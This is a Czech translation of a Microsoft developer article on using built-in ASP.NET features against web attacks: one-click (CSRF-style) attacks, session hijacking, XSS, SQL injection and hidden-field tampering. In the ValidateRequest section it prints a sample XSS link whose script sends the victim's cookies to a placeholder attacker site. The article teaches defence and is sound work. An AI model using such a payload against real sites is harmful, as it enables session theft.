Sdílet prostřednictvím

Využijte výhod ASP.NET integrovaných funkcí k odbrání se webovým útokům

  • Článek

 

Dino Esposito
Wintellect

Dne

Platí pro
   Microsoft ASP.NET 1. X
   Microsoft ASP.NET 2.0

Shrnutí: Dino shrnuje nejběžnější typy webových útoků a popisuje, jak můžou weboví vývojáři používat integrované funkce ASP.NET ke zvýšení zabezpečení. (13 tištěných stránek)

Obsah

Co ASP.NET vývojáři měli vždy dělat tam, kde hrozby pocházejí
ViewStateUserKey
Soubory cookie a ověřování
Napadení relace
Enableviewstatemac
ValidateRequest
Perspektiva databáze
Skrytá pole
E-maily a spam
Souhrn
Související informační zdroje

Co ASP.NET vývojáři by měli vždy dělat

Pokud čtete tento článek, pravděpodobně nebudete potřebovat přednášky o rostoucí důležitosti zabezpečení ve webových aplikacích. Pravděpodobně hledáte nějaké praktické rady k implementaci zabezpečení v aplikacích ASP.NET. Špatnou zprávou je, že žádná vývojová platforma – včetně ASP.NET – nezaručuje, že budete psát 100% bezpečný kód, jakmile ho přijmete – kdo to řekne, prostě lže. Dobrou zprávou pro ASP.NET je, že ASP.NET, zejména verze 1.1 a nadcházející verze 2.0, integruje řadu předdefinovaných obranných bariér, připravených k použití.

Samotné použití všech těchto funkcí nestačí k ochraně webové aplikace před všemi možnými a předvídatelnými útoky. V kombinaci s jinými obrannými technikami a strategiemi zabezpečení ale integrované funkce ASP.NET tvoří výkonnou sadu nástrojů, která pomáhá zajistit, aby aplikace fungovaly v zabezpečeném prostředí.

Zabezpečení webu je souhrn různých faktorů a výsledek strategie, která přesahuje hranice jednotlivých aplikací a zahrnuje správu databází, konfiguraci sítě a také sociální inženýrství a útoky phishing.

Cílem tohoto článku je ilustrovat, co ASP.NET vývojáři vždy dělat, aby byla bezpečnostní laťka přiměřeně vysoká. To je to, co zabezpečení je většinou o - udržet stráž vzhůru, nikdy se cítit úplně v bezpečí, a pro padouchy je těžší a těžší pro padouchy hacknout.

Podívejme se, co ASP.NET nabízí pro zjednodušení práce.

Odkud pocházejí hrozby

V tabulce 1 jsme shrnuli nejběžnější typy webových útoků a chyby v aplikaci, které je můžou uspět.

Útok Umožňuje to . . .
Skriptování mezi weby (XSS) Nedůvěryhodný uživatelský vstup zobrazený na stránce
Injektáž SQL Zřetězení uživatelského vstupu pro vytvoření příkazů SQL
Zneužití relace Odhad ID relace a ukradené soubory cookie ID relace
Jedním kliknutím Nepozorné příspěvky HTTP odeslané prostřednictvím skriptu
Manipulace se skrytým polem Nezaškrtnuté (a důvěryhodné) skryté pole naplněné citlivými daty

Tabulka 1. Běžné webové útoky

Jaká jsou klíčová fakta, která vyjdou ze seznamu? Alespoň následující tři bych řekl:

  • Kdykoli do kódu prohlížeče vložíte jakýkoli uživatelský vstup, potenciálně se vystavujete útoku injektáže kódu (jakékoli varianty injektáže SQL a XSS).
  • Přístup k databázi musí být zabezpečený, tj. používat pro účty co nejmenší možnou sadu oprávnění a oddělovat zodpovědnost jednotlivých uživatelů prostřednictvím rolí.
  • Citlivá data by se nikdy neměla posílat přes síť (natož jako prostý text) a musí být bezpečně uložena na serveru.

Je zajímavé poznamenat, že tři výše uvedené body se týkají tří různých aspektů zabezpečení webu, jejichž kombinace je jediným rozumným způsobem, jak vytvořit aplikaci odolnou proti neprůstřelné a odolné proti manipulaci. Omezující vlastnosti zabezpečení webu lze shrnout takto:

  • Postupy kódování: ověřování dat, kontrola typu a délky vyrovnávací paměti, opatření proti manipulaci
  • Strategie přístupu k datům: Použití rolí k zajištění nejslabšího možného účtu, použití uložených procedur nebo alespoň parametrizovaných příkazů
  • Efektivní ukládání a správa: neodesílejte důležitá data do klienta, používejte kódy hash k detekci manipulace, ověřování uživatelů a ochraně identit, uplatňování přísných zásad pro hesla

Jak vidíte, zabezpečená aplikace může být výsledkem pouze společného úsilí vývojářů, architektů a správců. Nepředpokládejte, že to dokážete správně.

Když píšete ASP.NET aplikace, nemusíte sami bojovat proti armádě hackerů, kteří jsou vybaveni pouze vašimi mozky, dovednostmi a prsty, abyste mohli psát řádky kódu. ASP.NET 1.1 a novějších pomáhá s několika specifickými funkcemi, které automaticky brání některým výše uvedeným hrozbám. Pojďme se na ně podívat podrobněji.

ViewStateUserKey

ViewStateUserKey, která byla představena v ASP.NET 1.1, je řetězcová vlastnost ve třídě Page, kterou pouze málo vývojářů přiznává, že jsou obeznámeni s. Proč? Pojďme si přečíst, co k tomu říká dokumentace.

Přiřadí identifikátor jednotlivým uživatelům v proměnné stavu zobrazení přidružené k aktuální stránce.

I přes spletený styl je věta poměrně jasná; Ale můžete upřímně říci, že vysvětluje zamýšlený účel majetku? Chcete-li pochopit roli ViewStateUserKey, musíte si přečíst trochu dále, dokud se nedostavíte k oddílu Poznámky .

Vlastnost pomáhá zabránit útokům jedním kliknutím tím, že poskytuje další vstup pro vytvoření hodnoty hash, která chrání stav zobrazení před manipulací. Jinými slovy ViewStateUserKey znesnadňuje hackerům použití obsahu stavu zobrazení na straně klienta k přípravě škodlivých příspěvků pro web. Vlastnost může být přiřazena libovolný neprázdný řetězec, nejlépe ID relace nebo ID uživatele. Abychom lépe pochopili důležitost této vlastnosti, pojďme si stručně projít základy útoku jedním kliknutím .

Útok jedním kliknutím spočívá v odeslání škodlivého formuláře HTTP na známý, ohrožený web. Nazývá se "jedním kliknutím", protože obvykle začíná nezjistící oběť kliknutím na lákavý odkaz přijatý e-mailem nebo nalezený při navigaci na přeplněné fórum. Pomocí odkazu uživatel neúmyslně aktivuje vzdálený proces, který nakonec odešle škodlivý <formulář> na web. Buďte upřímní: můžete říct, že jste nikdy nenásledovali odkaz jako Kliknutím sem vyhrajete $1,000,000 , jen abyste viděli, co se stane? Očividně se ti nic zlého nestalo. Předpokládejme, že je to správně; můžete to samé říct pro všechny ostatní webové komunity? Kdo ví.

Aby byl útok jedním kliknutím úspěšný, vyžaduje určité podmínky na pozadí:

  • Útočník musí o ohrožené lokalitě hodně vědět. K tomu může dojít proto, že útočník soubor "pilně" prostudoval nebo je naštvaný interní pracovník (například propuštěný a nepoctivý zaměstnanec). Z tohoto důvodu může být útok potenciálně zničující.
  • Web musí k implementaci jednotného přihlašování používat soubory cookie (lépe trvalé soubory cookie) a útočník by měl obdržet platný ověřovací soubor cookie.
  • Někteří uživatelé webu jsou zapojeni do citlivých transakcí.
  • Útočník musí mít přístup k cílové stránce.

Jak už bylo zmíněno, útok spočívá v odeslání škodlivého formuláře HTTP na stránku, která formulář očekává. Tato stránka bude přiměřeně využívat publikovaná data, aby provedla nějakou citlivou operaci. Útočník ví, jak přesně budou jednotlivá pole použita, a může přijít s několika zpochybněnými hodnotami, aby dosáhl svého cíle. Obvykle se jedná o cílený útok a je také obtížné ho sledovat kvůli trojúhelníkovým obchodům, které vytváří – hacker přiměje oběť kliknout na odkaz na webu hackera, což následně odešle špatný kód na třetí web. (Viz obrázek 1.)

ms972969.securitybarriers01(en-us,MSDN.10).gif

Obrázek 1: Útok jedním kliknutím

Proč nic netušící oběť? Protože protokoly serveru tímto způsobem ukazují, že IP adresa, ze které pochází chybný požadavek, je IP adresa oběti! Jak už bylo zmíněno, tento útok není tak běžný (a snadno uspořádaný) jako "klasický" XSS; jeho povaha však způsobuje, že je potenciálně devastující. Jaký je lék na to? Pojďme se podívat na mechanismus útoku v kontextu ASP.NET.

Pokud není akce kódovaná v události Page_Load , není možné, aby ASP.NET stránka spustila citlivý kód mimo událost postback. Aby se uskutečnila událost zpětného vrácení, je pole stavu zobrazení povinné. Mějte na paměti, že ASP.NET zkontroluje stav zpětného odeslání požadavku a nastaví isPostBack odpovídajícím způsobem na základě přítomnosti vstupního pole _VIEWSTATE. Takže ten, kdo chce odeslat falešný požadavek na ASP.NET stránku, musí nutně zadat platné pole stavu zobrazení.

Aby útok jedním kliknutím fungoval, musí mít hacker přístup na stránku. Když k tomu došlo, prozíravý hacker stránku místně zachránil. Teď tedy může získat přístup k poli _VIEWSTATE a použít ho k vytvoření požadavku se starým stavem zobrazení a škodlivými hodnotami v jiných polích. Otázkou je, jestli to bude fungovat?

Proč ne? Pokud útočník může poskytnout platný ověřovací soubor cookie, hacker se do toho dostane a požadavek se pravidelně zpracovává. Obsah stavu zobrazení se na serveru nekontroluje vůbec (pokud je vypnutá funkce EnableViewStataMac ) nebo je kontrolován pouze proti manipulaci. Ve výchozím nastavení není ve stavu zobrazení nic, co by tento obsah váže ke konkrétnímu uživateli. Útočník může snadno znovu použít stav zobrazení získaný z právních přístupů na stránku a vytvořit falešný požadavek jménem jiného uživatele. Do toho se hodí ViewStateUserKey .

Pokud je tato vlastnost správně zvolena, přidá do stavu zobrazení informace specifické pro uživatele. Při zpracování požadavku ASP.NET extrahuje klíč ze stavu zobrazení a porovná ho s ViewStateUserKey spuštěné stránky. Pokud se tyto dvě shodují, je žádost považována za legitimní; jinak dojde k výjimce. Jaká je platná hodnota vlastnosti?

Nastavení ViewStateUserKey na konstantní řetězec – stejný pro všechny uživatele – je jako nechat ho prázdné. Musíte ho nastavit na něco, co se liší pro každého uživatele – ID uživatele nebo ještě lépe ID relace. Z řady technických a sociálních důvodů je ID relace mnohem vhodnější, protože ID relace je nepředvídatelné, vypršení časového limitu a liší se podle jednotlivých uživatelů.

Tady je kód, který potřebujete mít na všech stránkách:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

Chcete-li se vyhnout psaní znovu a znovu, můžete ho šroubovat ve virtuální metodě OnInit třídy odvozené od stránky. (Všimněte si, že tuto vlastnost musíte nastavit v události Page.Init .)

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

Obecně platí, že použití základní třídy stránky je vždy dobrá věc, jak jsem vysvětlil v mém článku , Build Your ASP.NET Pages on a Richer Bedrock. Vynikající článek, který se dozvíte více o taktikách útočníků jedním kliknutím, najdete na aspnetpro.com.

Soubory cookie a ověřování

Soubory cookie existují, protože můžou vývojářům pomoct dosahovat výsledků. Soubory cookie fungují jako druh trvalého propojení mezi prohlížečem a serverem. Zejména u aplikací používajících jednotné přihlašování je ukradený soubor cookie tím, co umožňuje útok. To je určitě případ útoků jedním kliknutím.

Pokud chcete soubory cookie používat, nemusíte je explicitně vytvářet a číst programově. Pokud používáte stav relace a implementujete ověřování formulářů, implicitně používáte soubory cookie. Jistě, ASP.NET podporuje stav relace bez souborů cookie a ASP.NET 2.0 také zavádí ověřování formulářů bez souborů cookie. Takže byste teoreticky mohli tyto funkce používat bez použití souborů cookie. Neříkám, že nemusíte, ale to je jen jeden z případů, kdy lék může být ještě horší než nemoc. Relace bez souborů cookie ve skutečnosti vložte ID relace do adresy URL, aby bylo viditelné všem uživatelům.

Jaké jsou potenciální problémy související s používáním souborů cookie? Soubory cookie mohou být odcizeny (to znamená zkopírovány na počítač hackera) a otrávené (to znamená naplněné škodlivými daty). Tyto akce jsou často předehrou k příchozímu útoku. V případě odcizení ověřovací soubory cookie "autorizují" externí uživatele, aby se připojili k aplikaci (a používali chráněné stránky) jménem vás, což může hackerům umožnit šťastně obejít autorizaci a sami dělají vše, co role a nastavení zabezpečení umožňují oběti. Z tohoto důvodu mají ověřovací soubory cookie obvykle relativně krátkou životnost – 30 minut. (Upozorňujeme, že platnost souboru cookie vyprší i v případě, že se relace prohlížeče dokončí déle.) V případě krádeže mají hackeři 30minutové okno k vyzkoušení útoku.

Toto okno lze zvětšit, aby se uživatelé nemuseli přihlašovat příliš často; Mějte na paměti, že to děláte na vlastní nebezpečí. V každém případě nepoužívejte ASP.NET trvalé soubory cookie. To by udělalo životnost cookie prakticky trvalá, až 50 let! Následující fragment kódu ukazuje, jak upravit vypršení platnosti souboru cookie ve volném čase.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

Tento kód můžete chtít použít ve vlastních přihlašovacích formulářích k vyladění životnosti ověřovacích souborů cookie.

Únos relace

Soubory cookie se také používají k načtení stavu relace pro konkrétního uživatele. ID relace se uloží do souboru cookie, který s požadavkem putuje tam a zpět a je uložen na počítači prohlížeče. Znovu platí, že v případě odcizení lze soubor cookie relace použít k tomu, aby se hacker dostal do systému a získal přístup ke stavu relace někoho jiného. Netřeba říkat, že k tomu může dojít, pokud je zadaná relace aktivní – obvykle ne déle než 20 minut. Útok prováděný prostřednictvím falšovaného stavu relace se označuje jako napadení relace. Další podrobnosti o napadení relace najdete v tématu Krádež na webu: Zabránění napadení relace.

Jak nebezpečný může být tento útok? Těžko říct. Záleží na tom, co web dělá a co je důležitější, jak jsou jeho stránky navržené. Představte si například, že jste mohli získat soubor cookie relace někoho jiného a připojit ho k žádosti na stránku na webu. Stránku načtete a projdete jejím běžným uživatelským rozhraním. Na stránku není žádný kód, který byste mohli vložit, a na stránce nic, co byste mohli změnit, s tím rozdílem, že stránka teď funguje pomocí stavu relace jiného uživatele. To není špatné, ale může vést hackery přímo k úspěšnému zneužití, pokud jsou informace v relaci citlivé a kritické. Podívejte se, hacker se nemůže vnořit do obsahu úložiště relací, ale to, co je v něm uložené, se používá, jako by hacker legitimním způsobem vstoupil. Představte si například aplikaci elektronického obchodování, ve které uživatelé při procházení webu přidávají položky do nákupního košíku.

  • Scénář č. 1. Obsah nákupního košíku je uložen ve stavu relace. Při odhlášení je však uživatel požádán o potvrzení a zadání platebních údajů přes zabezpečené připojení SSL. V tomto případě připojení do stavu relace jiného uživatele umožňuje hackerovi pouze zjistit některé podrobnosti o nákupních preferencích oběti. V tomto kontextu skutečně nedochází k žádnému poškození. Ohrožena je pouze důvěrnost.
  • Scénář č. 2. Aplikace zpracovává profil pro každého registrovaného uživatele a ukládá profil ve stavu relace. Profil (stejně jako v případě) bohužel obsahuje informace o platební kartě. Proč ukládat podrobnosti profilu uživatele do relace? Možná, že jedním z cílů aplikace je nakonec ušetřit uživatelům před zadáváním informací o platební kartě a bankovních údajích znovu a znovu. Takže při placení aplikace přejde uživatele na stránku s předvyplněnými poli. Jedním z těchto polí je improvizovaně číslo platební karty převzaté ze stavu relace. Dokážete teď odhadnout konec příběhu?

Návrh stránky aplikace je klíčem k zabránění útokům na napadení relace. Dva body však zůstávají otevřené. První je, co můžete udělat, aby se zabránilo krádeži cookie? Druhým je, co může ASP.NET udělat pro detekci a blokování únosu?

Soubor cookie relace ASP.NET je velmi jednoduchý a je omezený tak, aby obsahoval jediný řetězec ID relace. Modul runtime ASP.NET extrahuje ID relace ze souboru cookie a zkontroluje ho proti aktivním relacím. Pokud je ID platné, ASP.NET se připojí k odpovídající relaci a pokračuje. Toto chování výrazně zjednodušuje život hackerům, kteří ukradli platné ID relace nebo ho můžou uhodnout.

Útoky XSS a man-in-the-middle, stejně jako hrubý přístup ke klientskému počítači, jsou všechny způsoby, jak získat platný soubor cookie. Abyste zabránili krádežím, měli byste implementovat osvědčené postupy zabezpečení, abyste zabránili úspěchu XSS a všech jeho variant.

Abyste zabránili hádání ID relace, měli byste se prostě vyhnout přehánění svých dovedností. Odhad ID relace znamená, že znáte způsob, jak předpovědět platný řetězec ID relace. Vzhledem k algoritmu používanému ASP.NET (15 náhodných čísel namapovaných na znaky s povolenou adresou URL) se vaše šance uhodnout platné ID náhodou blíží nule. Neexistuje žádný důvod, proč bych mohl vymyslet nahradit výchozí generátor ID relace vaším vlastním. V mnoha případech útočníkům jenom usnadníte život.

Co je horší na napadení relace, je, že jakmile byl soubor cookie odcizen nebo uhodnut, není mnoho ASP.NET může udělat, aby se zjistilo podvodné použití souboru cookie. Důvodem je opět to, že ASP.NET se omezuje na kontrolu platnosti ID a dotazuje se na místo původu souboru cookie.

Můj wintellect pal Jeff Prosise napsal vynikající článek o únosu relace pro MSDN Magazine. Jeho závěry nabízejí jen málo pohodlí – je prakticky nemožné vytvořit hloupou obranu proti útokům, které se spoléhají na ukradené soubory cookie ID relace – ale kód, který vyvinul, nabízí inteligentní tip, jak zvýšit bezpečnostní pruh ještě výš. Jan vytvořil modul HTTP, který monitoruje příchozí požadavky a odchozí odpovědi na soubory cookie ID relace. Modul připojí k ID odchozí relace hash kód, který útočníkovi znesnadní opakované použití tohoto souboru cookie. Podrobnosti si můžete přečíst tady.

Enableviewstatemac

Stav zobrazení slouží k zachování stavu ovládacích prvků ve dvou po sobě jdoucích požadavcích na stejnou stránku. Ve výchozím nastavení je stav zobrazení zakódovaný jako Base64 a podepsaný hodnotou hash, aby se zabránilo manipulaci. Pokud nezměníte výchozí nastavení stránky, nehrozí ohrožení stavu zobrazení. Pokud útočník upraví stav zobrazení nebo pokud stav zobrazení znovu sestaví pomocí správného algoritmu, ASP.NET pokus zachytí a vyvolá výjimku. Manipulovaný stav zobrazení nemusí být nutně škodlivý – upravuje stav serverových kontrol , ale může se stát nosičem závažných infekcí. Z tohoto důvodu je mimořádně důležité, abyste neodebrali křížovou kontrolu kódu MAC (Machine Authentication Code), která probíhá ve výchozím nastavení. Viz obrázek 2.

ms972969.securitybarriers02(en-us,MSDN.10).gif

Obrázek 2. Co způsobuje, že stav zobrazení je ze své podstaty odolný vůči manipulaci, když je povolená funkce EnableViewStateMac

Pokud je povolená kontrola mac (což je výchozí nastavení), stav serializovaného zobrazení je připojena hodnota hash, která je výsledkem některých hodnot na straně serveru a uživatelského klíče stavu zobrazení, pokud existuje. Když se stav zobrazení vrátí zpět, hodnota hash se znovu vypočítá pomocí nových hodnot na straně serveru a porovná se s uloženou hodnotou. Pokud se tyto dvě shodují, je žádost povolena; v opačném případě dojde k výjimce. I za předpokladu, že hacker má dovednosti prolomit a znovu sestavit stav zobrazení, potřebuje znát hodnoty uložené na serveru, aby mohl přijít s platnou hodnotou hash. Konkrétně hacker potřebuje znát klíč počítače, na který odkazuje < položka machineKey> machine.config.

Ve výchozím nastavení <se položka machineKey> automaticky vygeneruje a fyzicky uloží v místním úřadu zabezpečení Windows (LSA). Pouze v případě webových farem, kdy klíče počítačů stavu zobrazení musí být stejné na všech počítačích, byste je měli zadat jako prostý text v souboru machine.config.

Kontrola stavu zobrazení mac se řídí prostřednictvím atributu direktivy @Pages názvem EnableViewStateMac. Jak už bylo zmíněno, ve výchozím nastavení je nastavená na hodnotu true. Nikdy ho nezakazujte. to by umožnilo zobrazení stavu manipulování útoků jedním kliknutím a s velkou šancí na úspěch.

ValidateRequest

Skriptování mezi weby (XSS) je stará známost pro mnoho ostřířených webových vývojářů – je přibližně od roku 1999. Jednoduše řečeno, XSS využívá díry v kódu k zavedení spustitelného kódu hackera do relace prohlížeče jiného uživatele. Při spuštění může vložený kód provádět různé akce – zachytit soubory cookie a nahrát kopii na web ovládaný hackerem, sledovat webovou relaci uživatele a předávat data, upravit chování a vzhled napadené stránky s nesprávnými informacemi, a dokonce se sám vytvořit trvalý, takže při příštím návratu uživatele na stránku, podvodný kód se znovu spustí. Podrobnější informace o základech útoku XSS najdete v článku o skriptování mezi weby na TechNetu.

Jaké mezery v kódu umožňují útoky XSS?

XSS využívá webové aplikace, které dynamicky generují stránky HTML a neověřují vstup, který se na stránku ozvěna. Vstup zde znamená obsah řetězců dotazu, souborů cookie a polí formuláře. Pokud se tento obsah dostane do online režimu bez řádné kontroly správnosti, existuje riziko, že s ním hackeři budou moct manipulovat a spustit škodlivý skript v klientských prohlížečích. (Koneckonců výše zmíněný útok jedním kliknutím je nedávnou variantou XSS.) Typický útok XSS znamená, že nic netušící uživatel sleduje lákavý odkaz, který vloží kód řídicího skriptu. Podvodný kód se odešle na zranitelnou stránku, která ho důvěryhodně vypíše. Tady je příklad toho, co se může stát:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

Uživatel klikne na zdánlivě bezpečný odkaz a nakonec předá ohrožené stránce kus kódu skriptu, který nejprve získá všechny soubory cookie na počítači uživatele a pak je pošle na stránku na webu hackera.

Je důležité si uvědomit, že XSS není problém specifický pro dodavatele a nemusí nutně zneužívat díry v Internet Exploreru. Ovlivňuje všechny webové servery a prohlížeče, které jsou aktuálně na trhu. Ještě důležitější je, že neexistuje jedna oprava, která by to opravili. Své stránky můžete jistě chránit před XSS. Uděláte to použitím konkrétních opatření a postupů pro správné kódování. Kromě toho mějte na paměti, že útočník nepotřebuje, aby uživatel klikl na odkaz, aby mohl útok zahájit.

Pokud chcete bránit proti XSS, musíte primárně určit, který vstup je platný, a odmítnout všechny ostatní. Podrobný kontrolní seznam pro zmařování útoků XSS najdete v knize, která je povinná na webu Microsoft – Writing Secure Code (Psaní zabezpečeného kódu ), kterou napsali Michael Howard a David LeBlanc. Zejména navrhuji, abyste se pečlivě podívali na kapitolu 13.

Primárním způsobem, jak zmařit zákeřné útoky XSS, je přidat do vstupu dobře provedenou a solidní ověřovací vrstvu – jakýkoli typ vstupních dat. Existují například okolnosti , kdy i jinak neškodná barva – trojice RGB – může přinést neřízené písmo přímo na stránku.

Pokud je v ASP.NET 1.1 zapnutý atribut ValidateRequest u direktivy @Page , kontroluje, že uživatelé neodesílají potenciálně nebezpečné kódy HTML v řetězcích dotazu, souborech cookie nebo polích formuláře. Pokud se to zjistí, vyvolá se výjimka a požadavek se přeruší. Atribut je ve výchozím nastavení zapnutý. Nemusíte dělat nic, abyste vás ochránili. Pokud chcete povolit předání kódu HTML, musíte ho aktivně zakázat.

<%@ Page ValidateRequest="false" %>

ValidateRequestnení stříbrná odrážka a nemůže nahradit efektivní ověřovací vrstvu. Tady si můžete přečíst spoustu cenných informací o tom, jak funkce skutečně funguje pod pokličkou. V podstatě používá regulární výraz k zachycení několika potenciálně škodlivých sekvencí.

Poznámka Funkce ValidateRequest byla původně chybná. aby oprava fungovala podle očekávání, musíte použít opravu . Jedná se o cenné informace, které často prošly bez povšimnutí. Kupodivu jsem sám našel jeden z mých počítačů, které jsou stále ovlivněny chybou. Vyzkoušejte to!

Neexistuje žádný důvod pro to, aby se ověřování ValidateRequest nezachovávali. Můžete ji zakázat, ale musíte mít velmi dobrý důvod; jedním z nich by mohl být požadavek uživatele na to, aby bylo možné publikovat nějaké html na webu pro získání lepších možností formátování. V takovém případě byste měli omezit počet povolených značek HTML (<pre>, <b>, <i>, <p>, <br>, <hr>) a napsat regulární výraz, který zajistí, že nic jiného nebude povoleno ani přijato.

Tady je několik dalších tipů, které pomáhají chránit aplikace ASP.NET před XSS:

  • Pomocí httpUtility.HtmlEncode převeďte nebezpečné symboly na jejich reprezentaci HTML.
  • Místo jednoduchých uvozovek používejte dvojité uvozovky, protože kódování HTML uvozuje pouze dvojité uvozovky.
  • Vynucení znakové stránky k omezení počtu znaků, které lze použít.

Stručně řečeno, použijte atribut ValidateRequest , ale nedůvěřujte mu úplně, a nebudujte příliš líní. Věnujte nějaký čas tomu, abyste porozuměli bezpečnostním hrozbám, jako je XSS, v jejich kořenech, a naplánujte obrannou strategii zaměřenou na jeden klíčový bod – považujte všechny vstupy uživatelů za špatné.

Perspektiva databáze

Dalším známým typem útoku prostřednictvím injektáže SQL je zneužití aplikací, které k vytvoření databázových příkazů používají nefiltrovaný uživatelský vstup. Pokud aplikace k vytvoření řetězce příkazu SQL použije to, co uživatel zadá do pole formuláře, vystavuje se riziku, že uživatel se zlými úmysly může jednoduše přejít na stránku a zadat podvodné parametry, které změní povahu dotazu. Další informace o injektáži SQL najdete tady.

Existuje mnoho způsobů, jak můžete útok prostřednictvím injektáže SQL zmařit. Tady jsou nejběžnější techniky.

  • Ujistěte se, že každý uživatelský vstup je správného typu a odpovídá očekávanému vzoru (PSČ, SSN, e-mailová adresa). Pokud očekáváte číslo z textového pole, zablokujte požadavek, pokud uživatel zadá něco, co nelze převést na číslo.
  • Používejte parametrizované dotazy nebo ještě lépe uložené procedury.
  • Pomocí SQL Server oprávnění můžete omezit akce, které můžou jednotliví uživatelé v databázi dělat. Můžete například chtít zakázat xp_cmdshell nebo ji omezit na správce.

Pokud použijete uloženou proceduru, výrazně zmenšujete prostor pro útoky. S uloženými procedurami ve skutečnosti nemusíte dynamicky vytvářet řetězce SQL. Kromě toho se všechny parametry ověřují v SQL Server proti zadaným typům. I když to samo o sobě není 100% zabezpečená technika, v kombinaci s ověřováním vám zajistí lepší zabezpečení.

Ještě důležitější je zajistit, aby potenciálně devastující operace, jako je odstraňování tabulek, prováděli jenom autorizovaní uživatelé. To vyžaduje pečlivý návrh střední vrstvy aplikace. Dobrou technikou, a to nejen kvůli zabezpečení, je zaměřit se na role. Uživatele seskupíte do rolí a pro každou roli definujete účet s nejmenší sadou oprávnění.

Před několika týdny byl web Wintellect napaden sofistikovanou formou injektáže SQL. Hacker se pokusil vytvořit a spustit skript FTP ke stažení (škodlivého?) spustitelného souboru. Bylo to naše štěstí, že útok selhal. Nebo to bylo spíše silné ověřování vstupu, použití uložených procedur a použití SQL Server oprávnění, které zabránily útoku v fungování?

Abychom to shrnuli, postupujte podle těchto pokynů, abyste se vyhnuli nežádoucím injektážem kódu SQL:

  • Spusťte s nejmenšími oprávněními a nikdy nespouštíte kód jako "sa".
  • Omezte přístup k předdefinované uložené procedury.
  • Upřednostňovat parametrizované dotazy SQL.
  • Nevystavujte příkazy prostřednictvím zřetězení řetězců a nezoznačujte chyby databáze.

Skrytá pole

V klasickém asp jsou skrytá pole jediným způsobem, jak zachovat data mezi požadavky. Veškerá data, která potřebujete načíst při dalším požadavku, se zabalí do skrytého <vstupního> pole a přepne se zpět. Co když na klientovi někdo změní hodnoty uložené v poli? Prostředí na straně serveru nemá žádný způsob, jak to zjistit, pokud je text jasný. Vlastnost ASP.NET ViewState pro stránky a jednotlivé ovládací prvky slouží ke dvěma účelům. Na jedné straně ViewState je způsob, jak zachovat stav napříč požadavky; Na druhé straně ViewState umožňuje ukládat vlastní hodnoty do chráněného skrytého pole odolného proti neoprávněné manipulaci.

Jak je znázorněno na obrázku 2, stav zobrazení se připojí k hodnotě hash, která se kontroluje u každého požadavku na zjištění manipulace. Není žádný důvod pro použití skrytých polí v ASP.NET s výjimkou několika případů. Stav zobrazení dělá totéž mnohem bezpečnějším způsobem. Řekl předem, že ukládání citlivých hodnot, jako jsou ceny nebo podrobnosti platební karty v jasném skrytém poli, je jako nechat dveře otevřené hackerům, stav zobrazení by dokonce udělal tento špatný postup méně nebezpečný než dříve, protože jeho mechanismus ochrany dat. Mějte však na paměti, že stav zobrazení zabraňuje manipulaci, ale nezaručuje důvěrnost, pokud ho nezašifrujete – takže podrobnosti o platební kartě uložené ve stavu zobrazení jsou přesto ohroženy.

Kdy je přijatelné použít skrytá pole v ASP.NET? Při vytváření vlastních ovládacích prvků, které potřebují odesílat data zpět na server. Představte si například, že vytvoříte nový ovládací prvek DataGrid , který podporuje změnu pořadí sloupců. Při zpětném odeslání je potřeba předat novou objednávku zpět na server. Kde jinde můžete tyto informace uložit, pokud ne do skrytého pole?

Pokud je skryté pole pole pro čtení a zápis – to znamená, že se očekává, že do něj klient bude zapisovat – není toho moc, co můžete udělat, že je odolné proti hackerům. Můžete se pokusit text hashovat nebo šifrovat, ale nedá vám to rozumnou jistotu, že nebudete hacknuti. Nejlepší obranou je, aby skryté pole obsahovalo inertní a neškodné informace.

To znamená, že stojí za to poznamenat, že ASP.NET zveřejňuje málo známou třídu, která může být použita ke kódování a hashování jakéhokoli serializovaného objektu. Třída je LosFormatter a je stejná třída, kterou používá implementace ViewState k vytvoření zakódovaného textu round-tripped do klienta.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

Předchozí fragment kódu ukazuje, jak použít LosFormatter k vytvoření zobrazení stavového obsahu, kódovaného a hashovaného.

E-maily a spam

Na konci tohoto článku chci zdůraznit, že nejméně dva nejběžnější útoky – klasický XSS a jeden kliknutí – jsou často prováděny tak, že se netušící oběti snaží kliknout na lákavé a falšované odkazy. Často takové odkazy najdeme přímo v doručené poště, bez ohledu na to, že filtry proti spamu. Svazky e-mailových adres lze zakoupit za pár dolarů. Jednou z hlavních technik používaných k vytváření takových seznamů je prohledávání veřejných stránek na webech, které hledají a chytají cokoli, co vypadá jako e-mailová adresa.

Pokud se na stránce zobrazí e-mailová adresa, je pravděpodobné, že ji dříve nebo později zachytí web roboti. Vážně? No, to hodně záleží na tom, jak zobrazíte e-mailovou adresu. Pokud ho pevně zakódujete, ztratíte se. Pokud se uchýlíte k alternativním reprezentacím, jako je dino-at-microsoft-dot-com, není jasné, zda opravdu oklamat webového robota; pro jistotu, budete dráždit každý člověk čtení vaší stránky, který chce navázat legitimní kontakt.

Celkově byste měli přijít na způsob, jak dynamicky vygenerovat e-mailovou adresu jako odkaz mailto . Přesně to dělá bezplatná komponenta napsaná Markem Bellinasem. Můžete ji získat s úplným zdrojovým kódem z webu DotNet2TheMax .

Souhrn

Pochybuje někdo o tom, že web je pravděpodobně nejvíce nehostinný ze všech běhových prostředí? Vychází z toho, že každý má přístup k webu a snaží se mu předat dobrá i špatná data. Má ale opravdu smysl vytvořit webovou aplikaci, která nepřijímá vstup uživatele?

Přiznejme si to: bez ohledu na to, jak silná je vaše brána firewall a jak často používáte dostupné opravy, pokud používáte vlastní zranitelnou webovou aplikaci, útočníci dříve nebo později projdou přímo k srdci vašich systémů hlavním vstupem, konkrétně portem 80.

